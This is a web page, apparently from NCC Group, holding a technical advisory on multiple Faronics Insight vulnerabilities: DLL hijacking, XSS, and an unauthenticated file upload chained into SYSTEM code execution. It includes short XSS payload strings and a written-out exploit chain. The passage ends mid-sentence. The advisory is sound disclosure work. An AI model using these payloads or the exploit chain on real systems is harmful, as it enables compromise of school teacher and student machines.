XMLHttpRequest in IE followed 307 redirections with additional or customised headers * Which database is more secure? Oracle vs. Microsoft * Variations in Exploit methods between Linux and Windows * Using graph databases to assess the security of thingernets based on the thingabilities and thingertivity of things * Live Incident Blog: June Global Ransomware Outbreak * Beyond data loss prevention * How to protect yourself & your organisation from phishing attacks * Rise of the machines: Machine Learning & its cyber security applications * Combating Java Deserialisation Vulnerabilities with Look-Ahead Object Input Streams (LAOIS) * A WarCon 2017 Presentation: Cisco ASA – Exploiting the IKEv1 Heap Overflow – CVE-2016-1287 * Latest threats to the connected car & intelligent transport ecosystem * Network Attached Security: Attacking a Synology NAS * Accessing Private Fields Outside of Classes in Java * Understanding the insider threat & how to mitigate it * Matty McMattface: Security implications, mitigations & testing strategies for biometric facial recognition systems * Setting a New Standard for Kubernetes Deployments * Encryption at rest: Not the panacea to data protection * Applying normalised compression distance for architecture classification * Microsoft Zero-Day Vulnerability – OLE2Link – Threat Intelligence and Signatures * D-LINK DIR-850L web admin interface vulnerable to stack-based buffer overflow * Fix Bounty * Unauthenticated XML eXternal Entity (XXE) vulnerability * General Data Protection Regulation: Knowing your data * Technical Advisory: Shell Injection in MacVim mvim URI Handler * Technical Advisory: Shell Injection in SourceTree * SCOMplicated? – Decrypting SCOM “RunAs” credentials * Technical Advisory: Multiple Vulnerabilities in Accellion File Transfer Appliance * ISM RAT * Mergers & Acquisitions (M&A) cyber security due diligence * Advisory-CraigSBlackie-CVE-2016-9795 * Best practices with BYOD * Technical Advisory: Nexpose Hard‐coded Java Key Store Passphrase Allows Decryption of Stored Credentials * Compromising Apache Tomcat via JMX access * Berserko: Kerberos Authentication for Burp Suite * Java RMI Registry.bind() Unvalidated Deserialization * NCC CON Europe 2017 * Understanding cyber risk management vs uncertainty with confidence in 2017 * iOS MobileSlideShow USB Image Class arbitrary code execution.txt * Denial of Service in Parsing a URL by ierutil.dll * U plug, we play * SSL checklist for pentesters * Dissecting social engineering attacks * External Enumeration and Exploitation of Email and Web Security Solutions * Social Engineering * Phishing Stories * Automating extraction from malware and recent campaign analysis * DDoS Common Approaches and Failings * Absolute Security * How much training should staff have on cyber security? * USB under the bonnet: Implications of USB security vulnerabilities in vehicle systems * Cyber Essentials Scheme * Webinar – PCI Version 3.0: Are you ready? * Webinar: 4 Secrets to a Robust Incident Response Plan * Cloud Security Presentation * Webinar: SMACK, SKIP-TLS & FREAK SSL/TLS vulnerabilities * Revealing Embedded Fingerprints: Deriving intelligence from USB stack interactions * Memory Gap * 44Con2013Game * creep-web-app-scanner * ncccodenavi * Pip3line * typofinder * DIBF – Updated * IODIDE * CECSTeR * cisco-SNMP-enumeration * dotnetpaddingoracle * dotnetpefuzzing * easyda * EDIDFuzzer * Fat-Finger * firstexecution * grepify * FrisbeeLite * State-of-the-art email risk * Ransomware: what organisations can do to survive * hostresolver * lapith * metasploitavevasion * Maritime Cyber Security: Threats and Opportunities * IP-reputation-snort-rule-generator * The L4m3ne55 of Passw0rds: Notes from the field * Mature Security Testing Framework * Exporting non-exportable RSA keys * Black Hat USA 2015 presentation: Broadcasting your attack-DAB security * The role of security research in improving cyber security * Self-Driving Cars- The future is now… * They Ought to Know Better: Exploiting Security Gateways via their Web Interfaces * Mobile apps and security by design * The Myth of Twelve More Bytes: Security on the Post-Scarcity Internet * When Security Gets in the Way: PenTesting Mobile Apps That Use Certificate Pinning * USB Undermining Security Barriers:further adventures with USB * Software Security Austerity Security Debt in Modern Software Development * RSA Conference – Mobile Threat War Room * Finding the weak link in binaries * To dock or not to dock, that is the question: Using laptop docking stations as hardware-based attack platforms * Harnessing GPUs Building Better Browser Based Botnets * The Browser Hacker’s Handbook * SQL Server Security * The Database Hacker’s Handbook * Social Engineering Penetration Testing * Public Report – Matrix Olm Cryptographic Review * Research Insights Volume 8 – Hardware Design: FPGA Security Risks * Zcash Cryptography and Code Review * Optimum Routers: Researching Managed Routers * Peeling back the layers on defence in depth…knowing your onions * End-of-life pragmatism * iOS Instrumentation Without Jailbreak * The Password is Dead, Long Live the Password! * Microsoft Office Memory Corruption Vulnerability * Windows 10 USB Mass Storage driver arbitrary code execution in kernel mode * Elephant in the Boardroom Survey 2016 * A Peek Behind the Great Firewall of Russia * Avoiding Pitfalls Developing with Electron * Flash local-with-filesystem Bypass in navigateToURL * D-Link routers vulnerable to Remote Code Execution (RCE) * iOS Application Security: The Definitive Guide for Hackers and Developers * The Mobile Application Hacker’s Handbook * Research Insights Volume 9 – Modern Security Vulnerability Discovery * Post-quantum cryptography overview * The CIS Security Standard for Docker available now * An adventure in PoEKmon NeutriGo land * The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd Edition * How will GDPR impact your communications? * Potential false redirection of web site content in Internet in SAP NetWeaver web applications * Multiple security vulnerabilities in SAP NetWeaver BSP Logon * The Automotive Threat Modeling Template * My name is Matt – My voice is my password * Ransomware: How vulnerable is your system? * NCC Group WhitepaperUnderstanding and HardeningLinux ContainersJune 29, 2016 – Version 1.1 * My Hash is My Passport: Understanding Web and Mobile Authentication * Project Triforce: Run AFL on Everything! * Writing Exploits for Win32 Systems from Scratch * How to Backdoor Diffie-Hellman * Local network compromise despite good patching * Sakula: an adventure in DLL planting * When a Trusted Site in Internet Explorer was Anything But * GSM/GPRS Traffic Interception for Penetration Testing Engagements * An Adaptive-Ciphertext Attack Against “I ⊕ C” Block Cipher Modes With an Oracle * Creating a Safer OAuth User Experience * Attacking Web Service Security: Message Oriented Madness, XML Worms and Web Service Security Sanity * Aurora Response Recommendations * Blind Security Testing – An Evolutionary Approach * Building Security In: Software Penetration Testing * Cleaning Up After Cookies * Command Injection in XML Signatures and Encryption * Common Flaws of Distributed Identity and Authentication Systems * Cross Site Request Forgery: An Introduction to a Common Web Application Weakness * Developing Secure Mobile Applications for Android * Exposing Vulnerabilities in Media Software * Hunting SQL Injection Bugs * IAX Voice Over-IP Security * ProxMon: Automating Web Application Penetration Testing * iSEC’s Analysis of Microsoft’s SDL and its ROI * Secure Application Development on Facebook * Secure Session Management With Cookies for Web Applications * Security Compliance as an Engineering Discipline * Weaknesses and Best Practices of Public Key Kerberos with Smart Cards * Exploiting Rich Content * HTML5 Security The Modern Web Browser Perspective * An Introduction to Authenticated Encryption * Attacks on SSL * Content Security Policies Best Practices * Windows Phone 7 Application Security Survey * Browser Extension Password Managers * Introducing idb-Simplified Blackbox iOS App Pentesting * Login Service Security * The factoring dead: Preparing for the cryptopocalypse * Auditing Enterprise Class Applications and Secure Containers on Android * Early CCS Attack Analysis * Analysis of Boomerang Differential Trials via a SAT-Based Constraint Solver URSA * Perfect Forward Security * Internet of Things Security * Secure Messaging for Normal People * Understanding and Hardening Linux Containers * Adventures in Windows Driver Development: Part 1 * Private sector cyber resilience and the role of data diodes * From CSV to CMD to qwerty * General Data Protection Regulation – are you ready? * Business Insights: Cyber Security in the Financial Sector * The Importance of a Cryptographic Review * osquery Application Security Assessment Public Report * Sysinternals SDelete: When Secure Delete Fails * Ricochet Security Assessment Public Report * Breaking into Security Research at NCC Group * Building Systems from Commercial Components * Modernizing Legacy Systems: Software Technologies, Engineering Processes, and Business Practices * Secure Coding in C and C++ * CERT Oracle Secure Coding Standard for Java * CERT C Secure Coding Standard * Java Coding Guidelines: 75 Recommendations for Reliable and Secure Programs * Professional C Programming LiveLessons, (Video Training) Part I: Writing Robust, Secure, Reliable Code * Secure Coding in C and C++, 2nd Edition * The CERT® C Coding Standard, Second Edition: 98 Rules for Developing Safe, Reliable, and Secure Systems * Secure Coding Rules for Java LiveLessons, Part 1 * Hacking Displays Made Interesting * What the HEC? Security implications of HDMI Ethernet Channel and other related protocols * 44CON Workshop – How to assess and secure iOS apps * Payment Card Industry Data Security Standard (PCI DSS) A Navigation and Explanation of Changes from v2.0 to v3.0 * Mobile World Congress – Mobile Internet of Things * Practical SME security on a shoestring * BlackHat Asia USB Physical Access * How we breach network infrastructures and protect them * Hacking a web application * Batten down the hatches: Cyber threats facing DP operations * Threats and vulnerabilities within the Maritime and shipping sectors * Distributed Ledger (Blockchain) Security and Quantum Computing Implications * Abusing Privileged and Unprivileged Linux Containers * A few notes on usefully exploiting libstagefright on Android 5.x * NCC Con Europe 2016 * Remote Exploitation of Microsoft Office DLL Hijacking (MS15-132) via Browsers * Phishing Mitigations: Configuring Microsoft Exchange to Clearly Identify External Emails * Car Parking Apps Vulnerable To Hacks * eBook – Do you know how your organisation would react in a real-world attack scenario? * Erlang Security 101 * SysAid Helpdesk blind SQL injection * SysAid Helpdesk stored XSS * Virtual Access Monitor Multiple SQL Injection Vulnerabilities * Whatsupgold Premium Directory traversal * Windows remote desktop memory corruptoin leading to RCE on XPSP3 * Windows USB RNDIS driver kernel pool overflow * Drones: Detect, Identify, Intercept, and Hijack * Introducing Chuckle and the Importance of SMB Signing * Threat Intelligence: Benefits for the Enterprise * Best Practices for the use of Static Code Analysis within a Real-World Secure Development Lifecycle * Secure Device Manufacturing: Supply Chain Security Resilience * eBook – Planning a robust incident response process * HDMI Ethernet Channel * Advanced SQL Injection in SQL Server Applications * USB keyboards by post – use of embedded keystroke injectors to bypass autorun restrictions on modern desktop operating systems * ASP.NET Security and the Importance of KB2698981 in Cloud Environments * Xen HYPERVISOR_xen_version stack memory revelation * Windows Remote Desktop Memory Corruption Leading to RCE on XPSP3 * SysAid Helpdesk Pro – Blind SQL Injection * Symantec Messaging Gateway SSH with backdoor user account + privilege escalation to root due to very old Kernel * Symantec Messaging Gateway Out of band stored XSS delivered by email * Symantec Messaging Gateway Easy CSRF to add a backdoor-administrator (for example) * Symantec Messaging Gateway Arbitrary file download is possible with a crafted URL (authenticated) * Symantec Backup Exec 2012 – Persistent XSS Vulnerability Affecting Custom Reports * Symantec Backup Exec 2012 – OS version and service pack information leak * Symantec Backup Exec 2012 – Linux Backup Agent Heap Overflow * Symantec Backup Exec 2012 Backup/Restore Data Traverses Memory with Weak ACLs * Symantec Backup Exec 2012 – Backup Exec Utility Stored XSS when adding Groups, Servers and Computers * Squiz CMS File Path Traversal * Solaris 11 USB Hub Class descriptor kernel stack overflow * SmarterMail – Stored XSS in emails * Remote code execution in ImpressPages CMS * OS X 10.6.6 Camera Raw Library Memory Corruption * Oracle Java Installer Adds a System Path Which is Writable by All * Oracle Hyperion 11 Directory Traversal * Oracle E-Business Suite Pre-Auth SQLi with DBA Privileges * Nessus Authenticated Scan – Local Privilege Escalation * NCC Group Malware Technical Note * Nagios XI Network Monitor – Stored and Reflective XSS * Multiple Vulnerabilities in MailEnable * Microsoft Internet Explorer CMarkup Use-After-Free * McAfee Email and Web Security Appliance v5.6 – Session hijacking (and bypassing client-side session timeouts) * McAfee Email and Web Security Appliance v5.6 – Password hashes can be recovered from a system backup and easily cracked * McAfee Email and Web Security Appliance v5.6 – Arbitrary file download is possible with a crafted URL, when logged in as any user * McAfee Email and Web Security Appliance v5.6 – Any logged-in user can bypass controls to reset passwords of other administrators * McAfee Email and Web Security Appliance v5.6 – Active session tokens of other users are disclosed within the UI * iOS 7 arbitrary code execution in kernel mode * Understanding Microsoft Word OLE Exploit Primitives * Understanding Microsoft Word OLE Exploit Primitives: Exploiting CVE-2015-1642 Microsoft Office CTaskSymbol Use-After-Free Vulnerability * Porting the Misfortune Cookie Exploit: A Look into Router Exploitation Using the TD-8817 * Vehicle Emissions and Cyber Security * Research Insights Volume 6: Common Issues with Environment Breakouts * Does TypeScript Offer Security Improvements Over JavaScript? * Common Security Issues in Financially-Oriented Web Applications * Research Insights Volume 3 – How are we breaking in: Mobile Security * Build Your Own Wi-Fi Mapping Drone Capability * Exploiting CVE-2015-2426, and How I Ported it to a Recent Windows 8.1 64-bit * Exploiting MS15-061 Use-After-Free Windows Kernel Vulnerability * Password and brute-force mitigation policies * Understanding Ransomware: Impact, Evolution and Defensive Strategies * libtalloc: A GDB plugin for analysing the talloc heap * Lumension Device Control (formerly Sanctuary) remote memory corruption * LibAVCodec AMV Out of Array Write * Increased exploitation of Oracle GlassFish Server Administration Console Remote Authentication Bypass * Flash security restrictions bypass: File upload by URLRequest * Immunity Debugger Buffer Overflow * DataArmor Full Disk Encryption 3.0.12c – Restricted Environment breakout, Privilege Escalation and Full Disk Decryption * Cups-filters remote code execution * Critical Risk Vulnerability in SAP Message Server (Heap Overflow) * Critical Risk Vulnerability in SAP DB Web Server (Stack Overflow) * Critical Risk Vulnerability in Ingres (Pointer Overwrite 2) * Critical Risk Vulnerability in Ingres (Pointer Overwrite 1) * Cisco VPN Client Privilege Escalation * Cisco IPSec VPN Implementation Group Name Enumeration * Blue Coat BCAAA Remote Code Execution Vulnerability * BlackBerry Link WebDav Server Bound to the BlackBerry VPN Adapter * Bit51 Better Security WP Security Plugin – Unauthenticated Stored XSS to RCE * Back Office Web Administration Authentication Bypass * AtHoc Toolbar * ASE 12.5.1 datatype overflow * Archived Technical Advisories * Apple QuickTime Player m4a Processing Buffer Overflow * Apple OSX/iPhone iOS ImageIO TIFF getBandProcTIFF TileWidth Heap Overflow * Apple Mac OS X ImageIO TIFF Integer Overflow * Apple CoreAnimation Heap Overflow * Writing Small Shellcode * Writing Secure ASP Scripts * Windows 2000 Format String Vulnerabilities * The Pentesters Guide to Akamai * Adobe flash sandbox bypass to navigate to local drives * Adobe Flash Player Cross Domain Policy Bypass * Adobe Acrobat Reader XML Forms Data Format Buffer Overflow * Tool Release: Introducing opinel: Scout2’s favorite tool * Broadcasting your attack – DAB security * Modelling Threat Actor Phishing Behaviour * Research Insights Volume 7: Exploitation Advancements * Exploiting the win32k!xxxEnableWndSBArrows use-after-free (CVE-2015-0057) bug on both 32-bit and 64-bit * The Demise of Signature Based Antivirus * Stopping Automated Attack Tools * Security of Things: An Implementers’ Guide to Cyber-Security for Internet of Things Devices and Beyond * Security Best Practice: Host Naming & URL Conventions * Securing PL/SQL Applications with DBMS_ASSERT * Second-Order Code Injection Attacks * Revealing Embedded Fingerprints: Deriving Intelligence from USB Stack Interactions 2013 * Research Insights Volume 4 – Sector Focus: Maritime Sector * Research Insights Volume 2 – Defensive Trends * Research Insights Volume 1 – Sector Focus: Financial Services * Quantum Cryptography – A Study Into Present Technologies and Future Applications * Protecting stored cardholder data (an unofficial supplement to PCI DSS V3.0) * Preparing for Cyber Battleships – Electronic Chart Display and Information System Security * Passive Information Gathering – The Analysis of Leaked Network Security Information * Oracle Passwords and OraBrute * Oracle Forensics Part 7 Using the Oracle System Change Number in Forensic Investigations * Oracle Forensics Part 6: Examining Undo Segments, Flashback and the Oracle Recycle Bin * Oracle Forensics Part 5: Finding Evidence of Data Theft in the Absence of Auditing * Oracle Forensics Part 4: Live Response * Oracle Forensics Part 3: Isolating Evidence of Attacks Against the Authentication Mechanism * Oracle Forensics Part 2: Locating Dropped Objects * Oracle Forensics Part 1: Dissecting the Redo Logs * Non-stack Based Exploitation of Buffer Overrun Vulnerabilities on Windows NT 2000 XP * New Attack Vectors and a Vulnerability Dissection of MS03-007 * More Advanced SQL Injection * Microsoft’s SQL Server vs. Oracle’s RDBMS * Microsoft SQL Server Passwords * Low Cost Attacks on Smart Cards – The Electromagnetic Side-Channel * Lessons learned from 50 bugs: Common USB driver vulnerabilities * Inter-Protocol Exploitation * Inter-Protocol Communication * Improving your Network and Application Assurance Strategy in an environment of increasing 0day vulnerabilities * Implementing and Detecting a PCI Rootkit * How organisations can properly configure SSL services to ensure the integrity and confidentiality of data in transit * Hackproofing Oracle Application Server * Hackproofing MySQL * Hackproofing Lotus Domino Web Server * Hacking Appliances: Ironic exploits in security products * Fuzzing USB devices using Frisbee Lite * HDMI – Hacking Displays Made Interesting * Exploiting Security Gateways Via Web Interfaces * Research Insights Volume 5 – Sector Focus: Automotive * The why behind web application penetration test prerequisites * Blackbox iOS App Assessments Using idb * Cyber red-teaming business-critical systems while managing operational risk * Blind Return Oriented Programming * Username enumeration techniques and their value * IAM user management strategy (part 2) * Faux Disk Encryption: Realities of Secure Storage On Mobile Devices * Some Notes About the Xen XSA-122 Bug * USB attacks need physical access right? Not any more… * Image IO Memory Corruption * Threat Profiling Microsoft SQL Server * Thin Clients: Slim Security * Impress Pages CMS Remote Code Execution * The Phishing Guide: Understanding & Preventing Phishing Attacks * Lumension Device Control Remote Memory Corruption * McAfee Email and Web Security Appliance Active session tokens of other users are disclosed within the UI * McAfee Email and Web Security Appliance Any logged-in user can bypass controls to reset passwords of other administrators * Adam Roberts * Anthony Ferrillo * Aaron Greetham * Aaron Haymore * Alberto Verza * Aleksandar Kircanski * Alessandro Fanio Gonzalez * Alessandro Fanio González * Alex Plaskett * Alex Zaviyalov * Alvaro Martin Fraguas * Álvaro Martín Fraguas * Andrea Shirley-Bellande * Drew Wade * Andy Davis * Andy Grant * Antonis Terefos * anvesh3752 * Alexander Smye * aschmitz * Author Test * Ava Howell * Andrew Whistlecroft * balazs.bucsay * Nicolas Bidron * NCC Group Physical Breach Team * Rich Warren * Caleb Watt * Clinton Carpene * Cedric Halbronn * chrisanley * Christo Butcher * Clayton Lowell * Clint Gibler * cnevncc * Contributor Test * corancc * Corey Arthur * Christian Powills * Craig Blackie * Catalin Visinescu * Ken Wolstencroft * Dale Pavey * Damon Small * Dan Hastings * Dave G. * David Tulis * David Cash * Daniele Costa * destoken * Diana Dragusin * Diego Gomez Maranon * Diego Gómez Marañon * Domen Puncer Kugler * Daniel Romero * Deni * David Young * Edward Torkington * Exploit Development Group * elenabakoslang * Eli Sohl * epliuncc * Erik Schamper * Erik Steringer * Eric Schorn * fernandogallegopinero * Aaron Adams * Gavin Cotter (Temp) * Gerald Doussot * Gérald Doussot * Giacomo Pope * Global Threat Intelligence * Guy Morley * William Handy * Liew hock lai * Hollie Mowatt * Heather Overcash * Rob Wood * Iain Smart * Izzy Whistlecroft * Jacob Heath * Jameson Hyde * Phillip Langlois and Edward Torkington * Jashan Benawra * Jason Kielpinski * Javed Samuel * James Chambers * Jelle Vergeer * Jennifer Reed * Jeremy Boone * Jerome Smith * Jesus Calderon Marin * Jesús Calderón Marín * Jay Houppermans * Jack Leadford * Joshua Makinen * John Redford * Joost Jansen * Joshua Dow * Jose Selvi * Kenneth Yu * Kat Sommer * Katarina Dabler * Ben Lister * Krijn de Mik * Lars Behrens * Lawrence Munro * Liam Glanfield * Liam Stevenson * Liyun Li * Lucas Rosevear * Luke Paris * Matt Lewis * Manuel Gines * Margit Hazenbroek * Marie-Sarah Lacharite * Mario Rivas * NCC Group & Fox-IT Data Science Team * Max Groot * McCaulay Hudson * Michael Gough * Mostafa Hassan * Matthew Pettitt * Frank Gifford * Michelle Simpson * Neil Bergman * NCC Group * NCC Group Publication Archive * Bill Marquette * Daniel Lopezjimenez * nccdavid * Dan Helton * RIFT: Research and Intelligence Fusion Team * R.Rivera * NCC Group Red Team * Ilya Zhuravlev * Jennifer Fernick * ncckai * Lewis Lockwood * Jon Szymaniak * Mark Manning * nccmarktedman * Michael Sandee * Simon Palmer * nccricardomr * Stefano Antenucci * Simone Salucci and Daniel Lopez Jimenez * Samuel Siu * Tanner Prynn * Yun Zheng Hu * Stephen Tomkinson * Nicolas Guigo * Nick Galloway * Nick Muir * Nick Dunn * Nick Sirris * Nikolaos Pantazopoulos * Oliver Brooks * Ollie Whitehouse * Ollie Wen * Parnian Alimi * Paul Bottinelli * Peter Scopes * Peter Hannay * philipmarsdennccgroupcom * Pixel Kicks * Pixel Kicks * pixelkicks-fiona * pixelkicks-fred * pixelkicks-matt.hamer * pixelkicks-turhan * pixelkicks-will * pqueenncc * Philipp Schaefer * qkchambers * Rory McCune * Rami McCarthy * Ray Lai * Robert C. Seacord * Rennie deGraaf * Chris Nevin * Richard Appleby * Rick Veldhoven * Fumik0_ * Rindert Kramer * Rob Ince * robertgrimes123 * Robert Wessen * Ross Bradley * Robert Schwass * sampeate * Roger Meyer * schlopeckincc * Siddarth Adukia * Sam Leonard (they/them) * Spencer Michaels * sean.morland@nccgroup.com * Sander de Jong * Stuart Kurutac * Subscriber Test * Sultan Khan * Swathi Nagarajan * Simon Watson * Jeff Dileo * Thomas Marshall * Ivan Reedman * Thomas Pornin * Jeremy Boone * Viktor Gazdag * Vishtasp Jokhi * Wouter Jansen * William Groesbeck * whoughtonncc * Wordpress SSO Test * Xavier Garceau-Aranda * Ken Gannon * Kevin Henry * 5G Security & Smart Environments * Academic Partnership * Annual Research Report * Asia Pacific Research * Awards & Recognition * Books * Business Insights * CIRT * Cloud & Containerization * Cloud Security * Conferences * Corporate * Cryptography * CTFs/Microcorruption * Current events * Cyber as a Science * Cyber Security * Detection and Threat Hunting * Disclosure Policy * Emerging Technologies * Engineering * Fox-IT * Fox-IT and European Research * Gaming & Media * Hardware & Embedded Systems * Intern Projects * iSec Partners * Machine Learning * Managed Detection & Response * Misinformation, Deepfakes, & Synthetic Media * North American Research * Offensive Security & Artificial Intelligence * Patch notifications * Presentations * protocol_name * Public interest technology * Public interest technology * Public Reports * Public tools * Reducing Vulnerabilities at Scale * Research * Research Paper * Reverse Engineering * Risk Management & Governance * Standards * Technical advisories * Technology Policy * Threat briefs * Threat Intelligence * Tool Release * Transport * Tutorial/Study Guide * UK Research * Uncategorized * Virtualization, Emulation, & Containerization * VSR * Vulnerability * Whitepapers * nccgroup.com * Support * 2021 Research Report * Public Reports * Contact Back Oliver Brooks Technical advisories Vulnerability May 30, 2023 23 mins read TECHNICAL ADVISORY – MULTIPLE VULNERABILITIES IN FARONICS INSIGHT (CVE-2023-28344, CVE-2023-28345, CVE-2023-28346, CVE-2023-28347, CVE-2023-28348, CVE-2023-28349, CVE-2023-28350, CVE-2023-28351, CVE-2023-28352, CVE-2023-28353) INTRODUCTION Faronics Insight is a feature rich software platform which is deployed on premises in schools. The application enables teachers to administer, control and interact with student devices. The application contains numerous features, including allowing teachers to transfer files to/from students and remotely viewing the contents of student screens. Generally speaking, the architecture of the application is a classic client/server model – the “server” is the Teacher Console and each “client” is a Student Console deployed on every student machine in a classroom. A number of flaws were identified in the Faronics Insight software product, with consequences ranging from person-in-the-middle attacks on data transmitted between Student Consoles and Teacher Consoles to Remote Code Execution (RCE) as SYSTEM on any active Student or Teacher console. Overall, 11 vulnerabilities were identified, with links to their technical advisories below: 1. Numerous DLL Hijacking Vulnerabilities in Teacher and Student Consoles 2. Systemic Stored and Reflected Cross Site Scripting Flaws (CVE-2023-28350) 3. RCE As SYSTEM Via Unauthenticated File Upload API (CVE-2023-28353) 4. RCE as SYSTEM via Artificial Student Console and XSS (CVE-2023-28347) 5. RCE as SYSTEM via Artificial Teacher Console (CVE-2023-28349) 6. All Data Transmitted in Plaintext Enabling MITM (CVE-2023-28348) 7. Enhanced Security Mode May Be Bypassed (CVE-2023-28352) 8. Virtual Host Routing Can Be Defeated (CVE-2023-28346) 9. Keystroke Logs Are Stored in Plaintext in a World Readable Directory (CVE-2023-28351) 10. Lack of Access Controls on Student APIs (CVE-2023-28344) 11. Teacher Console Credentials Exposed via API Endpoint (CVE-2023-28345) Vulnerability research was performed against Faronics Insight v11.21.2100.262 available on https://faronics.com. As of Insight v11.23.x.289, these vulnerabilities have been fixed. Faronics’ release notes can be found here. 1. NUMEROUS DLL HIJACKING VULNERABILITIES IN TEACHER AND STUDENT CONSOLES Risk: High (8.2 CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H.) SUMMARY The Teacher Console Server and Student Console Agents both attempt to load a variety of system DLLs in an unsafe manner. IMPACT Because the Teacher Console Server and Student Console Agent processes both execute as the SYSTEM user, total system compromise can be achieved when a malicious DLL is loaded inadvertently. DETAILS Windows applications make use of Dynamically Linked Libraries (DLL) files to add or reference additional functionality exposed by those DLLs. DLL files are typically loaded when applications first start up, and the application typically knows precisely where the DLL files are located in order to load them as quickly as possible. In cases where the DLL file’s path is not hardcoded (“sas.dll” as opposed to “C:\Windows\System32\sas.dll” for example), Windows will look for the file in a specific order – * The directory the application is being loaded from * The C:\Windows\system32 directory * The C:\Windows directory * The directories located in the PATH environment variable. This is generally sufficient, because developer-supplied DLLs should be loaded from the same directory that the application runs from. During this vulnerability research, it was observed that both the student and teacher agent/servers respectively attempt to load Microsoft DLLs from the application’s installation directory, as this screenshot from ProcMon demonstrates – The screenshot above shows three instances where FITeacherSVC.exe (which runs as SYSTEM) attempts to load a system DLL from the current working directory rather than the intended directory. Combined with the other vulnerabilities identified in this application during this vulnerability research, it was possible to place a malicious “sas.dll” into the “C:\Program Files\Faronics\Insight Teacher” (and Insight Student) directory, granting code execution on the next Faronics Insight restart. Overall the following system DLLs are being loaded unsafely in the student and teacher consoles – * WTSAPI32.dll * sas.dll * USERENV.dll * WINSTA.dll * Profapi.dll * Dbghelp.dll * IPHLPAPI.dll * WINMM.dll * CRYPTBASE.DLL * Powrprof.dll * UMPDC.dll * Sspicli.dll * Node.dll RECOMMENDATION System DLLs, which are guaranteed to be present inside of Windows system directories (C:\Windows, C:\Windows\SYSTEM32) should have their include paths hardcoded. Instead of linking to, for example, “sas.dll” in the build environment it is safer to link to “C:\Windows\System32\sas.dll” directly. 2. SYSTEMIC STORED AND REFLECTED CROSS SITE SCRIPTING FLAWS (CVE-2023-28350) Risk: High (8.7 CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:H) SUMMARY Attacker supplied input is not validated/sanitized prior to being rendered in both the Teacher and Student Console applications, enabling the attacker to execute JavaScript in these applications. IMPACT Due to the rich and highly privileged functionality offered by the Teacher Console, the ability to silently exploit Cross Site Scripting (XSS) on the Teacher’s machine enables RCE on any connected student machine (and the teacher’s machine). DETAILS Cross Site Scripting (XSS) is a vulnerability category commonly found in web applications. The vulnerability occurs when applications accept user supplied input and then render it directly on a webpage without first sanitizing it / ensuring that it is safe. When unsanitized user input is rendered in a web application it can frequently be used to execute JavaScript in a victim’s browser. Both the Teacher and Student Insight UI applications are “Electron” applications, meaning that they are effectively rich JavaScript-based web applications embedded inside of an executable file. Because Electron apps are essentially web applications, they are especially vulnerable to XSS vulnerabilities and significant attention must be paid to input validation. During this vulnerability research, NCC Group researchers observed that there is almost no input validation present across either of the Insight UI applications, allowing for trivial compromise via XSS. Some of the many identified XSS vectors are listed below – * Keystroke logs * Student device login names * Student desktop names * Class ID * Quiz names * Chat messages* It is worth noting that some of the above XSS vectors are only exploitable by directly HTTP POSTing malicious data to the API, which is then rendered unsafely in the UI. In general, the barrier to storing malicious payloads in the UI is because of field length restrictions, rather than any input validation in the UI. “Chat messages” above is marked with an asterisk because chat messages are generally sanitized, however it was observed that messages containing “<b> </b>”, “<a> </a>” and “<i> </i>” are not sanitized (presumably to enable formatted messages between teacher and student.) and are therefore exploitable by sending malicious messages such as “<b> </b><script>alert(“NCC Group XSS”);</script>”. A slightly more sophisticated example of this in action can be seen below – As noted above in the impact statement, the lack of input sanitization in the Faronics Insight product is especially dangerous because the product exposes numerous JavaScript functions which can be used to transfer files to / from various machines, start / stop executables on student machines, uninstall the insight product, software-lock workstations etc. RECOMMENDATION When rendering user submitted data in either the Student or Teacher console, encode the output based on the appropriate context of where the output is included. Content placed into HTML needs to be HTML-encoded, for example. To work in all situations, HTML encoding functions should encode the following characters: single and double quotes, backticks, angle brackets, forward and backslashes, equals signs, and ampersands. An additional line of defense is to perform validation on both the presentation tier, in the client-side JavaScript, and on the server-side, in the Express server. Validating input in both tiers of the application will help to ensure that users cannot simply circumvent client side controls by simply submitting malicious payloads to the server. 3. RCE AS SYSTEM VIA UNAUTHENTICATED FILE UPLOAD API (CVE-2023-28353) Risk: Critical (9.6 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) SUMMARY An unauthenticated attacker is able to upload any type of file to any location on the Teacher Console’s computer, enabling a variety of different exploitation paths including code execution. It is also possible for the attacker to chain this vulnerability with other identified (and disclosed) vulnerabilities to cause a deployed DLL file to immediately execute as SYSTEM. IMPACT A remote unauthenticated attacker can gain code execution as SYSTEM on the teacher’s computer, this is the highest privilege level in Windows and constitutes a total system compromise. DETAILS The Faronics Insight teacher application contains functionality which is able to force student devices to upload files from a given folder on their machine. This functionality operates as follows – * Teacher Console sends an “uploadstudentfile” WebSocket message to a given Student Console * This message contains the source path, source file name and destination on the Teacher Console to save the file to. * Student Console sends the file over an unauthenticated HTTP POST multipart request, complete with the downloaded file, file name and destination path * The ‘FITeacherServer.exe’ process (which runs as SYSTEM) writes the file to the destination path, anywhere on disk. It was observed as part of this vulnerability research that a network connected attacker with knowledge of a student’s agent ID, which is trivial to obtain by abusing Faronics UDP broadcast discovery mechanism, is able to send arbitrary files to this API endpoint and deploy them anywhere on the teacher’s disk. At this point there are clearly numerous different ways that this could be abused to obtain privileged code execution, ranging from deploying the file to an administrator’s “Startup” directory to overwriting any number of files under C:\Windows\System32 to achieve persistence as SYSTEM. NCC Group researchers instead chose to chain three vulnerabilities in Faronics Insight together to achieve a more immediate RCE as SYSTEM – 1. Upload a malicious copy of “sas.dll” to “C:\Program Files\Faronics\Insight Student” using the API 2. Leverage the “Fake Student Console” zero click XSS vulnerability to call “<script>relaunchInsight();</script>”, restarting the Teacher Console process 3. Leverage the DLL hijacking vulnerability such that when Insight relaunches, it attempts to load the malicious “sas.dll” DLL file and executes the malicious code within as SYSTEM. The following screenshot demonstrates the result of this exploit chain, that a new administrator named OLIVER_BROOKS_NCC2 was created – RECOMMENDATION NCC Group recommends that additional access controls are implemented which restrict an unauthorized/unauthenticated attacker from submitting files to the API. These access controls could be implemented by requiring valid Student Consoles to submit a valid session ID cookie with every HTTP request. NCC Group recommends that the Teacher Console is updated to restrict file uploads to a particular directory, this will help to ensure that in the event of a Student Console compromise, an attacker is unable to persist files in arbitrary locations on the Teacher’s file system. Finally, NCC Group recommends that some consideration is given to the principal of least privilege. If the “FITeacherServer.exe” could successfully function when executed by a lower privileged user then it would be safer to do so, this would 